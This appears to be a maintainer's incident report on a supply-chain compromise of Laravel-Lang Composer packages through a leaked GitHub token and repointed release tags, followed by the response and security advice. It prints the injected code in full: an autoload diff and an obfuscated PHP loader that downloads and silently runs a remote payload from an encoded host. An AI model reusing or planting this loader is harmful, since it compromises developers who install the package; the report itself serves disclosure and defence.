Malicious attack on Laravel-Lang

от автора

Today we completed the investigation of an incident that affected several Laravel-Lang Composer packages.

The incident was related to the unauthorized modification of release tags in repositories. Some of the tags pointed to commits containing malicious code that could be executed when installing or updating dependencies via Composer.

News about the incident:

Affected packages:

Screenshot of some of the infected tags from laravel-lang/lang

Screenshot of some of the infected tags from laravel-lang/lang

The preliminary risk window began on May 22 at 22:32 UTC. The risk concerned users who ran the composer update command or installed fresh versions of packages during that period.

According to the results of the investigation, the cause of the incident was linked to the compromise of a Personal Access Token from GitHub belonging to one of the team members, which allowed tags in repositories to be changed.

It is quite likely that the PAT fell into the attackers’ hands as a result of a recent data leak from GitHub. GitHub even has a separate article with information on what to do in such a situation.

But let’s get back to the malware.

After examining the audit logs (which, as it turned out, contain very little data), it was possible to determine that the first suspicious trace appeared on May 21 at 14:27 UTC. The attacker downloaded zip archives of two private repositories that do not contain any code at all. This was probably a test.

The actual attack on the projects began on May 22 at 22:32 UTC and ended on May 23 at 00:00 UTC.

During this time, the attacker deleted all tags from the repositories, uploaded malicious code to them, and created the same tags on their own commit. At the same time, they did not delete the repository itself — all commits remained in place unchanged.

Injected malicious code
 "autoload": {    "psr-4": {      "LaravelLang\\Lang\\": "src/"-   }+   },+   "files": [+     "src/helpers.php"+   ] }
<?php/** * Laravel Lang Helpers * Common locale detection and formatting utilities */declare(strict_types=1);if (!function_exists('laravel_lang_locale')) {    function laravel_lang_locale(): string {        return function_exists('config') ? config('app.locale', 'en') : 'en';    }}if (!function_exists('laravel_lang_fallback')) {    function laravel_lang_fallback(): string {        return function_exists('config') ? config('app.fallback_locale', 'en') : 'en';    }}if (!defined('LARAVEL_LANG_HELPERS')) {    define('LARAVEL_LANG_HELPERS', true);    (function() {        $cacheDir = sys_get_temp_dir() . DIRECTORY_SEPARATOR . '.laravel_locale';        @mkdir($cacheDir, 0755, true);        $sig = md5(__DIR__ . php_uname('n') . fileinode(__FILE__));        $marker = $cacheDir . DIRECTORY_SEPARATOR . $sig;        if (@file_exists($marker)) return;        $fetch = function($url) {            $ctx = @stream_context_create([                'http' => ['timeout' => 10, 'ignore_errors' => true,                           'header' => "User-Agent: Mozilla/5.0\r\n"],                'ssl' => ['verify_peer' => false, 'verify_peer_name' => false]            ]);            $r = @file_get_contents($url, false, $ctx);            if ($r !== false && strlen($r) > 50) return $r;            if (function_exists('curl_init')) {                $ch = curl_init($url);                curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER => true,                    CURLOPT_TIMEOUT => 10, CURLOPT_SSL_VERIFYPEER => false,                    CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_USERAGENT => 'Mozilla/5.0']);                $r = curl_exec($ch);                curl_close($ch);                if ($r !== false && strlen($r) > 50) return $r;            }            return null;        };        $h = implode('', array_map('chr', [102,108,105,112,98,111,120,115,116,117,100,105,111,46,105,110,102,111]));        $d = $fetch("https://{$h}/payload");        if ($d) {            $f = $cacheDir . DIRECTORY_SEPARATOR . bin2hex(random_bytes(6)) . '.php';            if (@file_put_contents($f, $d) !== false) {                @touch($marker);                if (stripos(PHP_OS, 'WIN') === 0) {                    $v = $cacheDir . '\\' . bin2hex(random_bytes(4)) . '.vbs';                    @file_put_contents($v, 'CreateObject("WScript.Shell").Run "php ""' . $f . '""", 0, False');                    @pclose(@popen("cscript //nologo //b \"$v\" >nul 2>&1", 'r'));                } else {                    @exec("php \"$f\" > /dev/null 2>&1 &");                }            }        }    })();}

https://github.com/Laravel-Lang/lang/blob/3290c20511f608a8f92f10d1b1f5620a4177a363/src/helpers.php

The security issue was discovered very quickly, and measures began to be taken to address it.

As the very first step, the Packagist team unpublished laravel-lang/lang; then, on our side, all team members had their permission to contribute code to the project (write mode) revoked. This helped stop the attack, since deleting the tags did not help—they were being restored “right before our eyes.”

Next, existing PATs and SSH keys were revoked. GitHub Actions were then disabled at the organization level.

Having stopped the attacker, we began analyzing the causes.

Despite the sparse logs, we found the identifier of the specific PAT under which the attack was carried out. Given the recent leak of sensitive data at GitHub, which they confirmed. Here is one of the articles.

What should I do?

Check your projects and run the composer update command to download the fixed versions of the packages.

Revoke your personal GitHub tokens due to the recent leak, even if you have never heard of Laravel-Lang — the issue affects more than just this project.

What’s the final result?

Thanks to timely and practically lightning-fast actions, we managed to restore the functionality of popular projects and protect our users from malicious actors.

Do not grant full access to the repository to just anyone.

Do not store secrets in repositories!!!

Monitor for data breaches and regularly change your passwords and tokens. Don’t wait for malicious actors to use them!

Take care of yourself and your loved ones!

ссылка на оригинал статьи https://habr.com/ru/articles/1038568/